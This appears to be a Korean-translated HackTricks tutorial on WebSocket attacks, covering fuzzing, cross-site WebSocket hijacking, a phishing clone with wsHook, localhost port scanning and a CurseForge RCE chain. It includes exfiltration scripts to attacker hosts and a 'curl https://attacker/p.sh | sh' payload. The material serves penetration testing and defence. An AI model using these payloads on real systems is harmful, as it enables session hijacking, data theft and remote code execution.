WebSocket 공격

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

WebSocket이란

WebSocket 연결은 초기 HTTP 핸드셰이크를 통해 수립되며 장기 유지되도록 설계되어 트랜잭션 시스템 없이 언제든 양방향 메시징이 가능합니다. 이로 인해 WebSocket은 저지연 또는 서버-발신 통신을 필요로 하는 애플리케이션(예: 실시간 금융 데이터 스트림)에 특히 유리합니다.

WebSocket 연결 설정

A detailed explanation on establishing WebSocket connections can be accessed here. 요약하면, WebSocket 연결은 보통 아래와 같이 클라이언트 측 JavaScript로 시작됩니다:

var ws = new WebSocket("wss://normal-website.com/ws")

The wss 프로토콜은 TLS로 보호된 WebSocket 연결을 의미하고, ws는 보안되지 않은 연결을 나타냅니다.

연결 수립 과정에서, 브라우저와 서버는 HTTP를 통해 handshake를 수행합니다. handshake 과정은 브라우저가 요청을 보내고 서버가 응답하는 절차로 이루어지며, 다음 예제에 표시되어 있습니다:

브라우저가 handshake 요청을 보냄:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

서버의 handshake 응답:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

연결이 설정되면 양방향으로 메시지를 주고받기 위해 연결은 열린 상태로 유지됩니다.

WebSocket 핸드셰이크의 핵심 포인트:

Connection 및 Upgrade 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
Sec-WebSocket-Version 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 13입니다.
Base64로 인코딩된 랜덤 값이 Sec-WebSocket-Key 헤더에 전송되어 각 핸드셰이크가 고유하게 되며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증용이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
서버 응답의 Sec-WebSocket-Accept 헤더는 Sec-WebSocket-Key의 해시로, 서버가 WebSocket 연결을 열 의도가 있음을 검증합니다.

이러한 기능은 핸드셰이크 과정을 안전하고 신뢰할 수 있게 하여 효율적인 실시간 통신의 기반을 마련합니다.

Linux 콘솔

websocat을 사용하여 WebSocket과의 raw 연결을 수립할 수 있습니다.

websocat --insecure wss://10.10.10.10:8000 -v

또는 websocat 서버를 생성하려면:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket 연결

현재 로컬 네트워크에서 clients가 HTTP websocket에 연결되어 있는 것을 발견하면, ARP Spoofing Attack 을 시도하여 client와 server 사이에서 MitM attack을 수행할 수 있습니다.
client가 당신에게 연결을 시도할 때 다음을 사용할 수 있습니다:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically. 다음 도구 https://github.com/PalindromeLabs/STEWS를 사용하면 websockets에서 알려진 취약점을 자동으로 발견하고, fingerprint를 생성하며 검색할 수 있습니다.

Websocket Debug tools

Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
Burp Suite는 일반 HTTP 통신과 거의 동일한 방식으로 MitM websockets 통신을 지원합니다.
The socketsleuth Burp Suite extension will allow you to manage better Websocket communications in Burp by getting the history, setting interception rules, using match and replace rules, using Intruder and AutoRepeater.
socketsleuth Burp Suite extension는 history 조회, interception rules 설정, match and replace 규칙 사용, Intruder 및 AutoRepeater 사용 등으로 Burp에서 Websocket 통신을 더 잘 관리할 수 있게 해줍니다.
WSSiP: Short for “WebSocket/Socket.io Proxy”, this tool, written in Node.js, provides a user interface to capture, intercept, send custom messages and view all WebSocket and Socket.IO communications between the client and server.
WSSiP: 약칭 “WebSocket/Socket.io Proxy“인 이 도구는 Node.js로 작성되었으며 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 캡처, 인터셉트, 사용자 정의 메시지 전송하고 볼 수 있는 사용자 인터페이스를 제공합니다.
wsrepl is an interactive websocket REPL designed specifically for penetration testing. It provides an interface for observing incoming websocket messages and sending new ones, with an easy-to-use framework for automating this communication.
wsrepl는 penetration testing을 위해 특별히 설계된 interactive websocket REPL입니다. 이 도구는 incoming websocket messages and sending new ones를 관찰하고 전송할 수 있는 인터페이스와 이러한 통신을 자동화하기 위한 사용하기 쉬운 프레임워크를 제공합니다.
https://websocketking.com/ it’s a web to communicate with other webs using websockets.
https://websocketking.com/는 websockets를 사용해 다른 웹과 통신할 수 있는 웹 인터페이스입니다.
https://hoppscotch.io/realtime/websocket among other types of communications/protocols, it provides a web to communicate with other webs using websockets.
https://hoppscotch.io/realtime/websocket는 여러 통신/프로토콜 유형 중 하나로 websockets를 사용해 다른 웹과 통신할 수 있는 웹 인터페이스를 제공합니다.

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation. Burp-Suite-Extender-Montoya-Course에는 websockets를 사용하는 웹을 실행하는 코드가 포함되어 있으며, this post에서 설명을 확인할 수 있습니다.

Websocket Fuzzing

The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here. Burp 확장 Backslash Powered Scanner는 이제 WebSocket 메시지도 fuzz할 수 있게 해줍니다. 자세한 내용은 here에서 읽을 수 있습니다.

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components: PortSwigger의 WebSocket Turbo Intruder는 Turbo Intruder 스타일의 Python 스크립팅과 고속 fuzzing을 WebSockets에 제공합니다. BApp Store 또는 소스에서 설치할 수 있습니다. 구성 요소는 다음 두 가지입니다:

Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
Turbo Intruder: custom engines를 사용해 단일 WS endpoint에 대해 대량 메시지를 전송합니다.
HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.
HTTP Middleware: 로컬 HTTP endpoint를 노출하여 바디를 지속 연결을 통한 WS 메시지로 전달하므로, 모든 HTTP 기반 스캐너가 WS 백엔드를 탐색할 수 있게 합니다.

Basic script pattern to fuzz a WS endpoint and filter relevant responses: WS endpoint를 fuzz하고 관련 응답을 필터링하기 위한 기본 스크립트 패턴:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

단일 메시지가 여러 응답을 유발할 때 노이즈를 줄이기 위해 @MatchRegex(...) 같은 데코레이터를 사용하세요.

HTTP 뒤에 있는 WS 브리지 (HTTP Middleware)

지속적인 WS 연결을 래핑하고 HTTP bodies를 WS messages로 전달하여 HTTP scanners로 자동화된 테스트를 수행합니다:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

그런 다음 로컬로 HTTP를 전송합니다; 본문은 WS 메시지로 전달됩니다:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

이를 통해 WS 백엔드를 제어하면서 “흥미로운” 이벤트(예: SQLi 오류, auth bypass, command injection 동작)를 필터링할 수 있습니다.

Socket.IO 처리 (핸드셰이크, 하트비트, 이벤트)

Socket.IO는 WS 위에 자체 프레이밍을 추가합니다. 필수 쿼리 매개변수 EIO(예: EIO=4)로 이를 감지합니다. Ping (2)와 Pong (3)으로 세션을 유지하고, "40"으로 대화를 시작한 다음 42["message","hello"]와 같은 이벤트를 전송합니다.

Intruder example:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP 어댑터 변형:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

서버측 prototype pollution을 Socket.IO로 탐지하기

PortSwigger의 안전한 탐지 기법에 따라, 다음과 같은 payload를 전송해 Express 내부를 오염시켜 보세요:

{"__proto__":{"initialPacket":"Polluted"}}

만약 greetings나 동작이 변경된다면(예: echo에 “Polluted“가 포함됨), 서버측 프로토타입을 오염시킨 것일 가능성이 높다. 영향은 접근 가능한 sinks에 따라 달라지므로, Node.js prototype pollution 섹션의 gadgets와 연관지어 확인하라. 참고:

Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.

WebSocket race conditions with Turbo Intruder

기본 엔진은 단일 연결에서 메시지를 배치 처리한다(처리량은 좋지만 race에는 부적합). THREADED 엔진을 사용해 여러 WS 연결을 생성하고 payload를 병렬로 전송하여 logic races(double‑spend, token reuse, state desync)를 유발하라. 예제 스크립트에서 시작해 config()에서 동시성(concurrency)을 조정하라.

Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

헤더에 거대한 payload 길이를 선언하지만 본문을 전송하지 않는 WS 프레임을 만들어라. 일부 WS 서버는 길이를 신뢰하고 버퍼를 미리 할당하므로 Integer.MAX_VALUE 근처로 설정하면 Out‑Of‑Memory를 유발해 원격 비인가 DoS를 초래할 수 있다. 예제 스크립트를 참고하라.

CLI and debugging

Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
WS Logger를 활성화해 메시지를 캡처하고 내부 ID로 상관관계 분석을 하라.
복잡한 어댑터에서 메시지 ID 처리 튜닝을 위해 Connection의 inc*/dec* 헬퍼를 사용하라.
@PingPong/@Pong 같은 데코레이터와 isInteresting() 같은 헬퍼는 잡음을 줄이고 세션을 유지하는 데 도움된다.

Operational safety

고속 WS fuzzing은 다수의 연결을 열고 초당 수천 개의 메시지를 전송할 수 있다. 잘못된 프레임이나 높은 전송률은 실제 DoS를 유발할 수 있다. 허가된 환경에서만 사용하라.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking,는 WebSocket 핸드셰이크에 영향을 주는 **Cross-Site Request Forgery (CSRF)**의 특정 사례로 식별된다. 이 취약점은 WebSocket 핸드셰이크가 HTTP cookies만으로 인증되고 CSRF tokens나 유사한 보안 조치가 없을 때 발생한다.

공격자는 취약한 애플리케이션에 대해 cross-site WebSocket 연결을 시작하는 malicious web page를 호스팅해 이를 악용할 수 있다. 결과적으로 이 연결은 피해자의 세션 일부로 취급되며, 세션 처리 메커니즘에 CSRF 보호가 없음을 악용하게 된다.

이 공격이 성공하려면 다음 요건이 필요하다:

websocket 인증은 cookie 기반이어야 한다.
해당 cookie는 공격자 서버에서 접근 가능해야 한다(보통 SameSite=None)이며 Firefox에서 Firefox Total Cookie Protection이 활성화되어 있지 않아야 하고 Chrome에서 blocked third-party cookies가 차단되어 있지 않아야 한다.
websocket 서버가 연결의 Origin을 검사하지 않거나(혹은 우회 가능해야 한다)

또한:

인증이 로컬 연결(예: localhost 또는 로컬 네트워크)에 기반한 경우, 현재 이를 금지하는 보호 수단이 없으므로 공격은 가능하다 (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Gorilla WebSocket 서버에서 CheckOrigin을 항상 **return true**로 설정하면 모든 Origin의 핸드셰이크를 수락한다. WS 엔드포인트가 또한 lacks authentication할 경우, 피해자 브라우저가 접근 가능한 모든 페이지(인터넷 또는 인트라넷)는 소켓을 업그레이드해 교차 사이트로 메시지를 읽고 전송할 수 있다.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

영향: any Origin가 허용되고 엔드포인트가 인증을 건너뛸 때 사용자 자격증명 없이 스트리밍된 데이터(예: 캡처된 이메일/알림)의 실시간 exfiltration.

간단한 공격

참고로 연결을 설정할 때 websocket 연결에 cookie가 전송되어 server로 보내집니다. server는 전송된 cookie를 기반으로 각 특정 사용자를 그의 websocket session과 **연결(relate)**할 수 있습니다.

예를 들어, msg로 “READY“가 전송되면 websocket server가 해당 사용자의 대화 기록을 sends back the history of the conversation한다고 가정하면, 연결을 생성하는 simple XSS(피해자 사용자를 인증하기 위해 cookie가 자동으로 sent됨)를 통해 “READY“를 전송하면 대화 기록을 retrieve할 수 있습니다.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/에서 공격자는 웹 소켓 통신이 이루어지던 도메인의 한 subdomain에서 임의의 Javascript를 실행할 수 있었습니다. subdomain이었기 때문에 cookie가 전송되었고, 또한 Websocket이 Origin을 제대로 검사하지 않았다는 점 때문에 해당 Websocket과 통신하여 tokens를 탈취할 수 있었습니다.

사용자 데이터 탈취

사칭하려는 웹 애플리케이션(예: .html 파일들)을 복사한 뒤, websocket 통신이 발생하는 스크립트 안에 다음 코드를 추가하세요:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

지금 https://github.com/skepticfx/wshook에서 wsHook.js 파일을 다운로드하고 웹 파일이 있는 폴더 안에 저장하세요.
웹 애플리케이션을 노출시키고 사용자가 연결하게 만들면 websocket을 통해 주고받는 메시지를 탈취할 수 있습니다:

sudo python3 -m http.server 80

CSWSH 보호

CSWSH 공격은 사용자가 악성 페이지에 접속하고, 그 페이지가 사용자가 이미 연결된 웹 페이지로 websocket connection을 열어 요청이 사용자의 cookies를 전송하면서 사용자를 대신해 인증하게 되는 점을 악용한다.

요즘에는 이 문제를 방지하기가 매우 쉽다:

Websocket server checking the origin: websocket server는 예상치 못한 페이지가 접속하지 못하도록 항상 사용자가 어디에서 연결하는지(Origin)를 확인해야 한다.
Authentication token: 인증을 cookie에 기반하지 않고, websocket 연결을 공격자가 모르는 서버가 사용자에게 발급한 토큰(예: anti-CSRF token)에 기반하도록 할 수 있다.
SameSite Cookie attribute: SameSite 값이 Lax 또는 Strict인 cookies는 외부 공격자 페이지에서 victim 서버로 전송되지 않으므로 cookie 기반 인증은 성공하지 못한다. 참고로 Chrome은 이제 이 플래그가 명시되지 않은 쿠키에 기본으로 Lax 값을 적용해 기본 설정을 더 안전하게 만들고 있다. 다만 쿠키가 생성된 첫 2분 동안은 값이 **None**이 되어 그 제한된 기간 동안 취약해질 수 있다(이 조치가 언젠가 제거될 것으로 예상되기도 한다).
Firefox Total Cookie Protection: Total Cookie Protection은 쿠키를 생성된 사이트로 격리시켜 동작한다. 본질적으로 각 사이트는 자체 쿠키 저장소 파티션을 가지며 타사자가 사용자의 브라우징 기록을 연결하지 못하도록 한다. 이로 인해 공격자 사이트는 쿠키에 접근할 수 없어 CSWSH unusable 상태가 된다.
Chrome third-party cookies block: 이는 SameSite=None인 경우에도 인증된 사용자의 쿠키가 websocket 서버로 전송되는 것을 막을 수 있다.

Localhost WebSocket 악용 및 브라우저 포트 탐색

데스크탑 런처는 종종 JSON-RPC WebSockets를 127.0.0.1:<random_port>에 노출하는 헬퍼(e.g., CurseForge의 CurseAgent.exe)를 실행한다. 브라우저는 루프백 소켓에 대해 SOP를 적용하지 않기 때문에, 어떤 웹 페이지든 핸드셰이크를 시도할 수 있다. 만약 에이전트가 임의의 Origin 값을 허용하고 추가 인증을 건너뛴다면, IPC 인터페이스는 JavaScript로부터 원격 제어가 가능해진다.

Enumerating exposed methods

프로토콜 계약을 파악하려면 정상 세션을 캡처하라. 예컨대 CurseForge는 {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}와 같은 프레임을 전송하는데, 여기서 name은 RPC 메서드이고 args는 GUIDs, resolution, flags 등 구조화된 객체들을 포함한다. 이 구조를 알게 되면 인젝션된 페이지에서 createModpack, minecraftGetDefaultLocation 또는 다른 권한이 필요한 작업을 바로 호출할 수 있다.

Browser-based port discovery

헬퍼가 무작위 고포트에 바인딩하기 때문에, 익스플로잇은 먼저 WebSockets를 통해 localhost를 무차별 탐색한다. Chromium-based 브라우저는 쓰로틀링 전까지 약 16k의 실패한 업그레이드를 허용하므로 일시적 포트 범위를 훑기에 충분하다; 반면 Firefox는 수백 번의 실패 후에 크래시나 멈춤이 발생하는 경향이 있어 실전 PoCs는 종종 Chromium을 타깃으로 한다.

간단한 브라우저 스캐너

```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

JSON-RPC 메서드 체이닝으로 RCE 달성

CurseForge 익스플로잇은 인증되지 않은 두 호출을 체이닝합니다:

createModpack → 사용자 상호작용 없이 새로운 MinecraftInstanceGuid를 반환합니다.
minecraftTaskLaunchInstance → AdditionalJavaArguments를 통해 임의의 JVM 플래그를 허용하면서 해당 GUID를 실행합니다.

JNI/JVM 진단 옵션은 즉시 사용 가능한 RCE 프리미티브를 제공합니다. 예를 들어 metaspace를 제한해 크래시를 유도하고 에러 훅을 이용해 명령을 실행할 수 있습니다:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Unix 대상에서는 페이로드를 /bin/sh -c 'curl https://attacker/p.sh | sh'로 바꾸기만 하면 된다. 애플리케이션 코드를 건드릴 수 없더라도 JVM CLI를 제어할 수 있으면 동작한다.

이러한 “create resource → privileged launch” 패턴은 업데이트 프로그램과 런처에서 자주 나타난다. (1)이 서버에서 추적하는 식별자를 반환하고 (2)가 그 식별자로 코드 실행 또는 프로세스를 생성할 때, 사용자 제어 인수를 주입할 수 있는지 확인하라.